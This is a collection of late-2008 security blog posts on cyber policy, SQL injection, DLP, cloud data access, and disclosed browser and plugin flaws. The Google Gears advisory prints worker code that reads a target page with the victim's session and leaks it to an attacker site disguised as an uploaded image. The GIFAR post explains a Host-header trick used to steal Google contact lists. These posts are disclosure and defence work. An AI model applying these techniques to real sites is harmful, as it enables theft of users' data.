I found Sami’s talk (”Structuring for Strategic Cyber Defense: A Cyber Manhattan Project Blueprint”) both energizing and frightening. I’ve known Sami for many years, and worked with him in several capacities, and have seen his concerns for the safety of the US develop over the years. Sami views cyberspace not just as an extension of “traditional” warfare (which he dubbed “kinetic” some years ago), but as a space in its own right, with its own assets - instead of land and people controlled (or damaged/destroyed/killed), it’s information that’s at risk. He pointed out that our enemies - whom he doesn’t hesitate to name, most notably the Chinese government - are investing in all-out attacks against the US, focusing on destroying our infrastructure including power and banking. (If you think the meltdown on Wall Street of the past few months has been bad, think of how much worse it could have been if coupled with a cyberattack to wipe out banking records!) While Sami’s focus is on the US, he points out that the threat is not only to the US, but also to any other technology-dependent country, which includes most of the developed world. He believes the threat is the same order as the nuclear threat during the cold war, which was a threat to national sovereignty.

Sami noted “It’s time to stop speculating about the threat, and time to do a risk assessment”, and then described the “Dark Angel” tabletop exercises that showed how an adversary with $500M (a tiny fraction of what we’re spending on bailing out the auto industry!) and three years could take out 70% of the power infrastructure of the US for an extended period of time - think about the lawlessness in the wake of Hurricane Katrina, and extend that across the entire country for a period of months or longer.

Sami noted that “the debate between talking heads has to stop” and called for an expert congressional commission similar to the Rogers commission that studied the Space Shuttle Challenger disaster, in which Richard Feynman played a key role.

On the positive side, the incoming Obama administration seems more aware of the issues of cybersecurity than any prior administration.

Sami is calling for a Cyber Manhattan Project with the vision (to overcome national strategic vulnerabilities ASAP) and urgency (because there’s plenty of means, motive, and opportunity for an attacker) to develop strategic capabilities, including continuity of critical information infrastructure operations (perhaps including “dark power” similar to “dark fiber” available in case of emergency), addressing the systems that are designed to “fail safe fail by having catastrophic failures”, figuring out how to “reboot the power grid” in case of a failure (the power grid requires power to get started), asymmetric threats (a $500M attack could cause $1T damage), situation awareness, and metrics-based quantifiable security.

Finally, he called for the Right organizing model (along the lines of DARPA for research and NASA for operations rather than a bureaucracy like DHS), at the Right Place (in the White House, to be above the fray), with the Right Clout (a presidential statement of support), and the Right Authority (bureaucracies cannot have power over the money).

Sami certainly isn’t the only one commenting on the urgent need to address cybersecurity threats. If you haven’t read the report of the “Commission on Cybersecurity for the 44th Presidency” it’s well worth it, although it’s not as demanding as I’d like to see. Also, see a recent Wall Street Journal article (titled “Internet Attacks Are a Real and Growing Problem: A new report says cyberwar isn’t science fiction”) .

After his talk, several of us asked Sami what we could do as individuals to further the Cyber Manhattan Project. Following is his answer, reproduced with his permission.
1. Educate yourself. Learn about the nature and gravity of the national strategic cyber risk and bold and effective moves that could mitigate those risks. Learn about the policy realm and what the issues are so that youcan speak intelligently about good and bad cyber defense policy. Take a policy expert out to lunch. Learn about related history such as the early formation of NASA and of the (U.S. and U.K) Air Force and how these big changes were possible against the barriers that the establishment always puts up to such big changes.
2. Educate your peers. Once you educate yourself, help educate your professional peers through one-on-one debates and discussions. Give professional talks to peer group at conferences and to graduate level students about to emerge into the professional world.
3. Educate the public. Securing the national cyber vulnerability will require significant investment of resources and significant educational, legal, and cultural attitude changes. This requires that the public be educated on this issue and that a national public discussion take place. Facilitate this discussion by educating the public through lectures and talking to the press in terms that they can understand. I find that analogies like the Manhattan project and the space race are helpful to frame the debate. Wrote Op Ed pieces.
4. Educate leadership. Advocate for sound public policy in strategic cyber defense. Talk to executive branch leadership at whatever level you have access to help them understand the types of actions our country needs to address these risks and encourage them to take an active role. Meet with members of the legislative branch and their staff and advocate for legal and policy changes and appropriate investments to mitigate national risk. Government has a responsibility to “provide for the common defense” as laid out in the constitution. Hold the government accountable to step up to that duty to the emerging cyber space territory in the information age.
5. Serve. This is a hard one. There are at least two important ways to serve, but both will involve your most precious asset: your time. Consider investing 10% of your career in public service. This could include joining non-profit advocacy groups that help move for change and improvement in some aspect of national cyber defense. The second major category is to serve inside the government to change things from within. This can be extremely hard because it means disrupting your normal career path and perhaps your family. It is also hard when the degree of change is great and the system resists that change with all its might. Yet, this can be one of the most effective ways to cause significant change. Try hard to answer the call, particularly in later parts of your career when you have the experience and network to be most effective.

The Spanner

Hackvertor video demo

Posted: December 18th, 2008, 10:33am CST by Gareth Heyes

Tags: Security [edit]

I’ve finally created a Hackvertor video demo, I’ve encoded it in swf and compressed it quite a lot. The quality is good and at a high resolution but the colours are a bit out other than that it should be quite clear how it works. The demo is available here:-

Hackvertor video demo

cat slave diary

IE exploit spreading via SQL injection

Posted: December 18th, 2008, 9:30am CST by vanderaj

Tags: Security [edit]
It’s no news that the latest 0day for IE is spreading via SQL injection attacks. What is news is why are we still suffering from SQL injection? We’ve known for over eight years how to utterly end SQL injection. I’m sick of writing about it. We should not be talking about SQL injection any more.

This is a call to arms - SQL injection is a done deal. It stops today!

I call on:
- Acquirers of software to inspect nvd.nist.gov and determine if the software your about to acquire has ever had SQL injection. If so, make sure it does not use dynamic queries today. If it does, do not acquire or use it.
- Managers of software libraries to investigate all software in their possession in the same way. If it has had SQL injection in the past, it’s likely that it still has dynamic queries today. Write to the project and demand a version that has no dynamic queries. Make transition plans to get off faulty software if they do not respond or cannot respond in a reasonable time frame. We did this for the Y2K effort, it’s not that hard
- Open source project houses such as Google Code, Microsoft’s CodePlex and SourceForge should put projects on notice that have dynamic queries that their downloads page will be disabled by Dec 31, 2009 if they have any dynamic SQL queries in them. I know this is a lot of work, but I can’t think an easier way to provide outreach to so many projects simultaneously.
- CISO and CIOs and lead architects to outlaw the use of dynamic and concatenated queries in your policies and coding standards and to mandate the use of un-injectable alternatives
- Developers to stop using dynamic queries and concatenated strings in prepared statements. With all haste, migrate all your code to prepared statements, stored procedures (noting that these still may have issues), or an alternative data storage mechanism, such as Hibernate or Active Record
- Frameworks to deprecate and eliminate dynamic SQL query interfaces (Java’s Statement, PHP’s mysql interface, etc) with extreme urgency. Today, they should emit warnings in DEBUG mode, and in six months to a year, they should cease to exist
- Frameworks should inspect prepared queries in DEBUG mode, and if there’s a WHERE clause without a placeholder, the query should raise a warning during compilation or runtime depending on how your language operates. Of course, there are SQL queries that have where clauses that are static, but these are the exception not the rule. We need to help developers pin point weak statements, so a pragma or comment mechanism to shut the warning down would be helpful too
- If you audit or review source code, you should mark all dynamic SQL queries critical. Because they are critical risks. Without understatement or hyperbole, dynamic queries are an obvious clear and present danger to the world’s IT infrastructure and they simply do not need to exist.
SQL injection stops today! There’s an awful lot of code that needs fixing, so let’s get cracking.

Justice League

Science-y fun with the Maturity Model Project

Posted: December 17th, 2008, 11:00am CST by gem

Tags: Software Security [edit]

Brian Chess, Sammy Migues and I have been building a maturity model for software security. We decided to base our model on data gathered by interviewing 9 top software security programs. We developed a framework to guide a series of interviews for data acquisition.

Though we have not completed the maturity model (analysis continues apace), a number of surprises bubbled up from the data soup. We wrote them up in an article that we thought you might find interesting.

Though our approach is only “science-y” and may well be closer to anthropology than computer science, we do think it’s important to focus on what works in the real world. If you have any questions or comments about our study, we welcome contact.

Billy (BK) Rios

SUN Fixes GIFARs

Posted: December 17th, 2008, 3:22am CST by xssniper

Tags: Web Application Security [edit]

Last week, Sun released a patch for a vulnerability I reported to them. The patch I’m talking about fixes the “GIFAR” issue. I was unable to speak on the issue at Black Hat (for various reasons), but Nate McFeters did a great job of presenting the concept of GIFARs at Black Hat USA along with a simple example of how an attacker could use a GIFAR in an attack. Now that the issue has been patched, I’d like to cover some of the things related to “GIFARs” that I thought were interesting (including a few items that were not mentioned at Black Hat).

Before we begin, I’d like to thanks Chok Poh from Sun’s Security team. Chok was vital in fixing the GIFAR issue. This patch required some significant thought as to how to best handle this issue. Chok was very responsive and was smart enough to understand the impact of the unusual issue. I’d also like to thank the Google Security team. Google was our “guinea pig” for testing some of the pieces related to GIFARs and despite having to redesign some of their application behavior, they were gracious and very worked diligently to protect their users. Now, on to the show!

As shown by Nate at Black Hat, creating the GIFAR is simple, we simply use the “copy” command on Windows or the “cat” command on *nix. There are a few different places that talk about this technique (pdp has a great write up), but I first learned of the technique from Lifehacker.com in this post. Once the GIFAR is created, we examine the file in a HEX editor. The header of the file looks something like this:

The footer looks something like this:

We now have a file that is both a valid GIF and valid Java JAR. We now upload our GIFAR to our victim domain (in this case Google’s Picasa Web). Google attempts to ensure the file is a valid GIF (which it is) and takes ownership of the GIFAR on their domain. Once Google has taken ownership of the GIFAR, I can reference the applet on my attacking page via the APPLET tag. I think the items above were well covered at Black Hat and it is these concepts that represent the essence of a generic GIFAR attack… but Google is smart and they understood the dangers of insecure content ownership before GIFAR, so let’s looks at how we bypassed these Google specific protections.

When we first examined the GIFAR we uploaded to Picasa Web, it wasn’t actually served from the google.com domain. The actual domain it was served from lh4.ggpht.com. Below is a screenshot of the domain Google was using to serve the user supplied images.

After some investigation, we realized that ggpht.com was actually an alias for google.com. So, we could manually change our request from lh4.ggpht.com to lh4.google.com.

Bingo! Now we are on a google.com domain! From here, a lot of attackers begin to think “Java has raw sockets…”. It’s one of the first avenues we approached, but we quickly discovered that raw sockets aren’t as useful as other techniques. Instead of raw sockets, we chose to use Java’s HTTPUrlConnection object. We chose the HTTPUrlConnection object for two very good reasons. The first reason is HTTPUrlConnection uses the browsers cookies when making request to domains. So, if our applet is stored on lh4.google.com and the user is signed into Google, we get to piggy back off the victim’s cookies. We’ll get to the second reason here in a bit.

Now, even though we are now on the google.com domain, we still have a problem. The Java Same Origin Policy allows the applet to connect back to the domain that served the applet (I’ve covered this behavior before in previous posts). Considering the applet was served from lh4.google.com, the attacker is allowed to use the applet to connect back to lh4.google.com and only lh4.google.com. The problem here is lh4.google.com doesn’t store anything interesting. This problem leads us to the second reason we chose the HTTPUrlConnection object.

Java’s HTTPUrlConnection object has a method named “setRequestProperty”. Using setRequestProperty we can set arbitrary HTTP headers for our GET and POST requests. We use the setRequestProperty to set the HOST header for the HTTP request, allowing us to “jump” from the lh4.google.com domain to any other google.com sub domain. As a simple example, I had discovered a contact list at http://groups-beta.google.com/groups/profile/contacts?out=&max=500 (Google has removed this contact list). I set the URL object passed to the HTTPUrlConnection object to http://lh4.google.com/groups/profile/contacts?out=&max=500. I also set the HOST header to groups-beta.google.com.

When the request is made, Java checks the value of the URL object to ensure the Same Origin Policy is enforced. Since the domain of the URL object is lh4.google.com, everything checks out and Java lets the request through. Once Google receives the request, it checks the HOST header to determine where the resource should be served from. The HOST header specifies that the resource should be served from groups-beta.google.com, so despite the fact that the URL points to lh4.google.com, Google serves the contact list from groups-beta.google.com. In this example, I stole a user’s contact list but it could have been any content from a number of Google sub domains.

It’s easy to blame Java (Sun) for this issue. After all, it was their JRE that had a relaxed Jar parsing criterion which allowed GIFARs to be passed as Jars. In many respects some blame could be placed on Sun, but in my opinion (as humble as it is), this is ultimately a web application issue. When a web application chooses to take ownership of a user controlled file and serves it from their domain, it weakens the integrity of the domain. This isn’t the first time an image was repurposed like this, IE has had MIME sniffing issues with images, Flash had crossdomain.xml issues with images, and now we have GIFARs. The impact of these attacks could have been minimized if web applications that took user controlled files served those files from a “throw away” domain. As an application developer, you can prevent these types of attacks in the future by using a separate domain for user influenced files.

cat slave diary

Wordpress 2.7 released with easter egg

Posted: December 15th, 2008, 2:07pm CST by vanderaj

Tags: Security [edit]

As I noted a few weeks ago, WordPress has had an obfuscated easter egg in it for some time.

Despite reporting this security defect / software engineering malpractice to two different WordPress folks (the author of the excellent WP development blog, and the security team’s e-mail), 2.7 was released with the easter egg.

Hopefully, this will be resolved in a future release.

CGISecurity.com: Your Web Site and Application Security Resource

Writing a web services fuzzer in 5 minutes to SQL injection

Posted: December 14th, 2008, 10:40pm CST by Robert

Tags: Security Tools [edit]

From tssci"This week, I was doing an internal penetration test for a client of a web service, which is used by applications loaded on kiosk machines around the country. I didn’t have much time to do the test, so I had a couple advantages, like having network access to the service,...

Dominic White's .tHE pRODUCT

DLP, Users and Workflows

Posted: December 10th, 2008, 2:42pm CST

Tags: Security [edit]
Jock (welcome to the blogging world) and Allen have responded to my last entry on Data Loss/Leak Prevention (DLP) vendors partnering with Digital Right Management (DRM) vendors. Jock had an interesting point about getting users involved via DRM, and Allen had some ideas around maturing DLP processes. I'm not sure I fully agree with Jock's ideas, although they do point to some important points that Allen and I agree on about workflows (but not that DLP is dead ;) ). Jock thinks that the integration of DRM will make the user more conscious of the need to protect data. By exposing the features in office, and integrating it into the usual 'how-to' training instead of separate security training, this could become a de-facto way of getting users to look after their own security.

Now, this is something we want. The big problems with implementing a DLP solution, as I see it are:
- Understanding the context of a communication in order to make the correct security decision
- Building a workflow that the data owners manage, not security
Communication Context
The first point is where getting the users involved helps. To provide a round-about illustration; while running a DLP PoC I cam across several points where I did not know whether the incident discovered was a breach or a problem. Should the sender have access to that information, should the receiver, and how sensitive is the information in the first place. For example, we noticed communications about a confidential strategic project going to a Gmail account of someone who did not work for the company and was not obviously affiliated with anyone who knew about the project. To resolve it we needed to follow up and investigate. It turned out the information was going to lawyers who's mail servers were bouncing the mail.

Another incident showed a massive amount of credit card numbers going from a DBA to HR people at a competitor. Upon investigation it appeared that the DBA was sending his CV to the competitor, but had inadvertently attached a DB dump he had been using for debugging purposes.

Both of these incidents required additional context and understanding, which takes time and a soft-touch approach (you can't storm the board demanding to know why information was sent to an unknown gmail account). This is not something a small security team (as they all are) can practically deal with. You also can't hire junior lackeys to do it for you, because they'll have even less of an understanding of the context.

Users can Help
This is where Jock's point comes in, getting the users involved and more aware via the DRM functionality could help them embed some of that context as security principles. For example, if a document should only be shared between the board, then the PA typing it up can embed that assertion. Or more simply, if a document is final and you don't want any surreptitious changes to be made, you can mark it as final without relying on the idea that people can't modify a PDF.

While I think DRM functionality is great, and I am glad to seem the DLP vendors integrating it. I don't think this is going to help us with the communication context. In the first example with the gmail account, the criticality of the information would be no more obvious, and the person it was being sent to would be no less anonymous. In the second incident, the DBA would not be less prone to mistakes, and it is unlikely that DRM will be embedded in the debugging DB dump.

Data Owner Workflow
This is where the second point comes in. It is my belief that it isn't the users that will be able to help with DLP, but the data owners. While this is a fairly obvious statement, the few DLP implementations I have seen which consider the data owners at all is slim, and the number which try and get them involved in the DLP processes are near zero (although this is coloured by DLP not being a currently wildly deployed process). However, when you speak to some vendors and ask for information on these sorts of processes, they usually don't have it.

Funnily enough, I just read Allen's entry on this topic and it seems we are about to say the same thing.

What you need is to get the data owners involved. They need to be empowered to have the tool understand their critical data, and provide workflows around making decisions on what is being done with it, in line with the relevant communication context. Allen call's this 'business context' but I think 'business' is an abused term as is.

For example, if the minutes for the last board meetings are being mailed to an unknown external person, then get the COO's PA to approve it, and if necessary escalate it to the COO. If the DBA is sending credit card details to the competition, get the customer transaction guy to approve it, block and alert or escalate to someone else. This needs to be done careful and intelligently to prevent hours of wasted time while user's click the approve button on 30 e-mail each morning. It also needs corresponding processes up front, ideally built into the process of data creation, to have the principles defined.

This is where the DRM integration helps. Security assertions in line with the data owners approved use can be defined once and checked in both the DRM and DLP environments, but without the workflow components, this just becomes another firewall - blindly blocking with little understanding of what is encapsulated in the content.

For these purposes, I like Allen's differentiation between Generation 1 and Generation 2/3 type solutions.
Security Teams Benefit

With the above in mind, I don't think that security teams should be blindly ignoring the DLP solution's alerts. There is an awesome amount of information about what people and what data is actually being used and how, that can help security teams better approach some of the harder security problems. I am not advocating a 'thought police' approach as often happens with these sorts of technologies - creepy security people reading your e-mail and surfing habits so that they can stop all this awful non-productive behaviour (is that an mp3 I see?!). I mean actually getting an understanding of reality, and implementing solutions that take reality into account. But the price tag doesn't justify this being it's only use.

Michael Howard's Web Log

Secure software development practices 'not rocket science'

Posted: December 8th, 2008, 4:09pm CST by michael_HOWARD

Tags: Security [edit]

[searchsoftwarequality.techtarget.com]#

Watchfire Application Security Insider

Breaking Google Gears' Cross-Origin Communication Model

Posted: December 8th, 2008, 12:09pm CST by Yair Amit

Tags: AJAX Security [edit]
Background
Google Gears is a well-known RIA infrastructure, used extensively by Google in various services such as Google Docs and Google Reader as well as in non-Google services such as MySpace, Zoho Writer and WordPress.

Gears is a browser extension that allows developers to create richer and more responsive web-applications. One of its key features is the ability to create web-applications that can run both online and offline transparently.
Some of the capabilities Gears introduces are:
- A local server, to cache and serve application resources (HTML, JavaScript, images, etc.) without needing to contact a server
- A database, to store and access data from within the browser
- A worker thread pool, to make web applications more responsive by performing expensive operations in the background
- The HttpRequest API, which implements a subset of the W3C XmlHttpRequest specification
- A Geolocation API that enables a web application to obtain a user's geographical position
(The descriptions above are taken from the Google Gears documentation)

In my opinion, one of the nicest things in Gears is the way it is utilized. This is done by inserting JavaScript calls to Gears' API within the HTML code of the web-application. Therefore, unlike some of its alternatives, Gears can be integrated into existing web-applications easily and fluently.

For a full explanation and usage examples of Google Gears, you are invited to enter the Getting Started section in the Google Gears website.

Like other RIA infrastructures, Google Gears offer developers cross-origin communication capabilities. These capabilities are very important to developers, as they make it much easier to implement mashups and other desirable features.

Security-wise, however, cross-origin communication has some downsides. A poor or careless implementation might allow attackers to break-out of the same-origin policy and mount large scale user-impersonation attacks. The ramifications of such a flaw can be disastrous.

A few months ago, I discovered that the cross-origin communication security model of Google Gears wasn't solid enough, and that under some circumstances it could be bypassed pretty easily.
After coordinating a fix with Google, I can now reveal the details.

Gears' Cross-Origin communication implementation

Let's assume that we are web-developers and that we have a web page located at http://Some.Site/ that needs to gather information from a user-authenticated session at http://Another.Site/.
This can be done by using Google Gears' WorkerPool API. All you have to do is load a Google Gears "worker" (JavaScript code with access to Google Gears capabilities such as Local Server, Http communication and Database) using the createWorkerFromUrl(scriptUrl) method.
Google Gears "workers" that are intended to be loaded from a remote origin must begin with a call to allowCrossOrigin(). This serves as a security measure against unauthorized remote loading of "workers".

If a worker was created from a different origin, all methods on google.gears.factory will fail in that worker until allowCrossOrigin() is called.
This prevents cross-site scripting attacks where the attacker could load a worker URL from another domain, then send malicious messages to that worker (e.g. "delete-all-data").
Workers that call allowCrossOrigin() should check messageObject.origin and ignore messages from unexpected origins.

Here's an excerpt from Google Gears' documentation:

If a worker was created from a different origin, all methods on google.gears.factory will fail in that worker until allowCrossOrigin() is called.
This prevents cross-site scripting attacks where the attacker could load a worker URL from another domain, then send malicious messages to that worker (e.g. "delete-all-data").
Workers that call allowCrossOrigin() should check messageObject.origin and ignore messages from unexpected origins.

The Problem
At first sight, this protection seems to be solid.

However, after playing around with the infrastructure, I found that the Google Gears workers' loader has a rather promiscuous policy: it disregards the headers of the Gears worker files it loads!
That fact opens an aperture for malicious attacks. It significantly broadens the options an attacker has for planting malicious Gears worker code in a target website. For example, it is possible to upload files with an image suffix that actually contain Gears Worker code instead. Later on, such a file might be loaded from the context of other domains by a Google Gears Worker loader, despite the fact that it is served as an image file by the web-server!

It follows that the security of websites that contain users' content (forums, web-mails, social networks, office-like services, etc.) might be circumvented and damaged due to this behavior. During my research, I verified that various well-known services are indeed susceptible to the attack described in this summary.

Furthermore, the fact that the Gears worker code doesn't contain concrete "dangerous" characters might actually make it harder for websites to defend against Google Gears-based cross-origin access attacks such as the one described below.

An example of Google Gears worker code:
```
var wp = google.gears.workerPool;

wp.allowCrossOrigin();



wp.onmessage = function(a, b, message) {

  var request = google.gears.factory.create('beta.httprequest');

  request.open('GET', 'http://TARGET.SITE/SENSITIVE_PAGE.htm');



   request.onreadystatechange = function() {

     if (request.readyState == 4) {



     wp.sendMessage("The response was: " + 

     request.responseText, message.sender);



     }

   };



request.send();

}
```
The script above grabs information from http://TARGET.SITE and then leaks it back to its remote caller using Google Gears' built in messaging API. Flow of Attack
1. Attacker creates a text file that contains (malicious) Google Gears commands (Accessing the DB, using the HttpRequest module, etc.).
2. Attacker finds a way to put the text content into a target domain (http://TARGET.SITE/Upload/innocent.jpg, for example). The Gears "worker" code does not contain suspicious characters (<,>, etc...), it is therefore less likely to be filtered by http://TARGET.SITE's server-side logic.
3. Attacker creates http://ATTACKER.SITE/attack.html which contains some Google Gears code that loads and executes http://TARGET.SITE/Upload/innocent.jpg.
4. The code embedded in innocent.jpg (in this example) runs in the context of http://TARGET.SITE. It therefore has permissions to access Google Gears client-side objects such as the DB, the local server data or web resources (with the victim's credentials) using the HttpRequest module built into Google Gears.
5. All information collected in the previous phase can easily be leaked back to http://ATTACKER.SITE using Google Gears' standard messaging mechanism.
Note:
While http://ATTACKER.SITE has to be approved for using Google-Gears, http://TARGET.SITE can be any site that hosts user-created content, even if it doesn't use Google-Gears at all.
The Fix
Following my reporting to Google of the aforementioned flaw and attack, a patched version of Google Gears was released. The fix is based on a special Google-Gears Content-Type header value (application/x-gears-worker) that must be sent by the web-server when it serves Google-Gears worker code files. Without that value the loading of such worker files is denied.

While this looks like a great solution, it suffers from a slight backward-compatibility issue. Web-developers who rely on Google Gears should be aware that the fix might require some changes, such as creating a special rule in the web-server for serving Google-Gears worker code files.

For more information about the new security restriction described above, please visit the Google-Gears cross-origin workers documentation. Acknowledgments:

I would like to thank the Google Gears security team for their quick responses and the efficient way in which they handled this security issue.

Dominic White's .tHE pRODUCT

DLP Vendors Partnering with DRM Vendors

Posted: December 4th, 2008, 5:26am CST

Tags: Security [edit]

First RSA with Microsoft, then McAfee with Liquid Machines. It makes sense, especially for companies wanting to get proactive about preventing data loss. Although, what DRM (Digital Rights Management)/ERM (Enterprise Rights Management) doesn't have that DLP (Data Loss/Leak Prevention) does is the simplicity. It relies on user's pro-actively protecting their data, something we know we aren't good at. Sure, the DLP solution is there for when they don't, but then what's the point of the ERM solution? I'm playing devil's advocate a bit here, and am not committed to that position. It is interesting to note that there hasn't been much partnership between DLP vendors and other 'data focused' security products such as database activity monitoring (DAM) or data backup vendors and only limited partnership with encryption solutions. ERM seems to fit well from a marketing point of view, but I think there are some key integration points between the other solutions that can provide an easier security onion (aka defense in depth).

Rational Survivability

CloudSQL - Accessing Datastores in the Sky using SQL...

Posted: December 2nd, 2008, 9:50am CST by beaker

Tags: Application Security [edit]

Loading..... I think this is definitely a precursor of things to come and introduces some really interesting security discussions to be had regarding the portability, privacy and security of datastores in the cloud.

Have you heard of Zoho? No? Zoho is a SaaS vendor that describe themselves thusly:

Zoho is a suite of online applications (services) that you sign up for and access from our Website. The applications are free for individuals and some have a subscription fee for organizations. Our vision is to provide our customers (individuals, students, educators, non-profits, small and medium sized businesses) with the most comprehensive set of applications available anywhere (breadth); and for those applications to have enough features (depth) to make your user experience worthwhile.

Today, Zoho announced the availability of CloudSQL which is middleware that allows customers who use Zoho's SaaS apps to "...access their data on Zoho SaaS applications using SQL queries."

From their announcement:

Zoho CloudSQL is a technology that allows developers to interact with business data stored across Zoho Services using the familiar SQL language. In addition, JDBC and ODBC database drivers make writing code a snap – just use the language construct and syntax you would use with a local database instance. Using the latest Web technology no longer requires throwing away years of coding and learning.

Zoho CloudSQL allows businesses to connect and integrate the data and applications they have in Zoho with the data and applications they have in house, or even with other SaaS services. Unlike other methods for accessing data in the cloud, CloudSQL capitalizes on enterprise developers’ years of knowledge and experience with the widely‐used SQL language. This leads to faster deployments and easier (read: less expensive) integration projects.

Basically, CloudSQL is interposed between the suite of Zoho applications and the backend datastores and functions as an intermediary receiving SQL queries against the pooled data sets using standard SQL commands and dialects. Click on the diagram below for a better idea of what this looks like.

What's really interesting about allowing native SQL access is the ability to then allow much easier information interchange between apps/databases on an enterprises' "private cloud(s)" and the Zoho "public" cloud.

Further, it means that your data is more "portable" as it can be backed up, accessed, and processed by applications other than Zoho's. Imagine if they were to extend the SQL exposure to other cloud/SaaS providers...this is where it will get really juicy.

This sort of thing *will* happen. Customers will see the absolute utility of exposing their cloud-based datastores and sharing them amongst business partners, much in the spirit of how it's done today, but with the datastores (or chunks of them) located off-premises.

That's all good and exciting, but obviously security questions/concerns immediately surface regarding such things as: authentication, encryption, access control, input sanitation, privacy and compliance...

Today our datastores typically live inside the fortress with multiple layers of security and proxied access from applications, shielded from direct access and yet we still have basic issues with attacks such as SQL injection. Imagine how much fun we can have with this!

The best I could find regarding security and Zoho came from their FAQ which doesn't exactly inspire confidence given the fact that they address logical/software security by suggesting that anti-virus software is the best line of defense ffor protecting your data and that "data encryption" will soon be offered as an "option" and (implied) SSL will make you secure:

6. Is my data secured?

Many people ask us this question. And rightly so; Zoho has invested alot of time and money to ensure that your information is secure and private. We offer security on multiple levels including the physical, software and people/process levels; In fact your data is more secure than walking around with it on a laptop or even on your corporate desktops.

Physical: Zoho servers and infrastructure are located in the most secure types of data centers that have multiple levels of restrictions for access including: on-premise security guards, security cameras, biometric limited access systems, and no signage to indicate where the buildings are, bullet proof glass, earthquake ratings, etc.

Hardware: Zoho employs state of the art firewall protection on multiple levels eliminating the possibility of intrusion from outside attacks

Logical/software protection: Zoho deploys anti-virus software and scans all access 24 x7 for suspicious traffic and viruses or even inside attacks; All of this is managed and logged for auditing purposes.

Process: Very few Zoho staff have access to either the physical or logical levels of our infrastructure. Your data is therefore secure from inside access; Zoho performs regular vulnerability testing and is constantly enhancing its security at all levels. All data is backed up on multiple servers in multiple locations on a daily basis. This means that in the worst case, if one data center was compromised, your data could be restored from other locations with minimal disruption. We are also working on adding even more security; for example, you will soon be able to select a "data encryption" option to encrypt your data en route to our servers, so that in the unlikely event of your own computer getting hacked while using Zoho, your documents could be securely encrypted and inaccessible without a "certificate" which generally resides on the server away from your computer.

Fun times ahead, folks.

/Hoff

The Spanner

IP conversion

Posted: November 25th, 2008, 4:52am CST by Gareth Heyes

Tags: Security [edit]

I’ve been busy investigating URLs recently and I thought my Hackvertor tool had all ways of changing a IP covered. But after researching stuff over the weekend I found that it is lacking in certain areas. For example you can convert two octets to octal or hex and there wasn’t really a easy way of doing this with the current tags.

Decoding this stuff can also be useful especially if you are analysing malware and want a quick way to decode a few obscured IPs. The decoders detect if you are trying to decode full IP addresses or part of an IP.

The tags supported are ip2dword which converts a IP to a decimal number, it includes the ability to encode it a few times with the parameter. This is possible because the unused hex numbers are discarded by the application, examples of how to use this are available below. ip2hex and ip2oct allow you to encode a full or part of a IP address (the rightmost part) with hex or octal. Each tag has a alternative decode.
Examples
I’ll use Google’s IP as a example 216.239.59.99

First we can use ip2dword to convert it to decimal:-
dword conversion

It also supports a parameter which allows you to encode it a few more times:-
dword multiple

You can also encode part of the IP and the tags are clever enough to detect this automatically:-
dword part encode

Finally I’ll show you how to use the octal and hex encoding in full or part of a IP address, I’ve included a part decode example as well which decodes the last two octets of the IP:-
hex, octal and decoding

Dominic White's .tHE pRODUCT

27 Dinner Tonight

Posted: November 23rd, 2008, 4:24pm CST

Tags: Security [edit]
Tonight's 27 dinner was great. I haven't been in a while, but there was a good crowd and I had some really interesting conversation. My presentation went well it seems. I've attached a copy here if anyone is interested.
The talk was focused on cross-site request forgery attacks. As it was mostly a non-security crowd I tried to make it accessible. I demo'ed a CSRF against Vodacom4ME's online SMS functionality (which I rely on for vodasms). I also demo'ed a CSRF against muti, with code injected via a persistent cross site scripting (XSS) flaw in 27dinner.com. In effect, anyone logged into muti who viewed the Jozi 27dinner guest list also voted up this post on muti. I finished it off with a demo of BeEF proxy. For tips of defending against it in your app check out this entry.

I've removed all the demo code, as I can just image someone dubious sticking muti CSRF's all over the place to falsely inflate their posts ranking.

Anyway, thanks for the good conversations, and great feedback, in particular:
Also, thanks to the IRC geeks who helped with some of the ideas and finer points at funny hours in the morning last night:

Rational Survivability

Beware the Transparent Proxy...Your Faith In VPNs Might Waiver

Posted: November 20th, 2008, 6:13am CST by beaker

Tags: Information Security [edit]

Aviram from the Securiteam blog wrote a post titled "Who's Your SMTP Daddy?" that caught my eye regarding the false sense of security that use of corporate IPSec VPNs brings to traveling road warriors due to the use by providers of so-called transparent proxies.

Let's say that you've got some sort of IPSec VPN solution installed on your laptop using the standard corporate configuration with your mail client pointing to mail.foo.com. Your machine has AV, HIPS, firewall, etc.

You connect to a provider's network (wired, wifi, hotel, airport, etc...) and fire up your VPN client which authenticates just fine. You then launch your mail client and type a quick note to your CEO about the confidential M&A project you're working on. A few minutes later you get a response from your CEO to proceed with the tender.

You disconnect.

Here's the problem: that SMTP session you thought was encrypted through your VPN back to the corporate mail server was actually sent in the clear. In fact, it wasn't even sent through your mail relay/server.

Here's a great example of why taken from Aviram's blog:
A quick investigation shows the following: The hotel’s network blocks my VPN (as some of them do) but happily resolves any unresolvable host name (such as my SMTP server’s hostname). This is resolved to a catch-all server that proxies everything. Transparently. (well, almost)
Lesson learned. Changed the hostname to the IP, and will soon switch to SSL based SMTP who will authenticate the server. In the meanwhile - be careful from helpful Beijing wifi providers who are only too happy to forward your mail on! (with some changes, of course).

Aviram is in China, but this example is valid in many countries and you can probably expect that given the behavior of some domestic ISP's, Telcos and Mobile Operators that it is or will go on here too. It could easily work with other protocols that aren't sensitive to session tampering/MITM.* Further, Aviram's example was about interception. There's every reason to believe that one could expect the content of your email to be modified also...

I personally use SSL authenticated SMTP with valid issued certificates so at least if there is tampering with my session, my mail client barfs letting me know something is wrong. That error probably wouldn't help the average sales droid in the field as he/she would just click OK like most people do to any security error that pops up, but it's worth considering.

/Hoff

* Obviously this example presents a worst case scenario with certain configuration assumptions and license taken for illustration, but take the message for what it's intended: blind faith in VPNs can cause you some serious heartache. Transparent proxies work very well...

CGISecurity.com: Your Web Site and Application Security Resource

Metasploit Framework 3.2 Released

Posted: November 19th, 2008, 11:33am CST by Robert

Tags: Security Tools [edit]

"Contact: H D Moore FOR IMMEDIATE RELEASE Email: hdm[at]metasploit.com Austin, Texas, November 19th, 2008 -- The Metasploit Projectannounced today the free, world-wide availability of version 3.2 oftheir exploit development and attack framework. The latest versionis provided under a true open source software license (BSD) and is backed by a community-based development...

Billy (BK) Rios

Stealing Files with Safari

Posted: November 19th, 2008, 3:07am CST by xssniper

Tags: Security [edit]

Apple recently patched a vulnerability Nitesh “Leisure Suit” Dhanjani and I reported to them last week (CVE-2008-4216). We had reported a similar vulnerability to Apple about two months ago (CVE-2008-3638). In fact, the exploitation technique was so similar we held off releasing details until this 2nd patch was released.

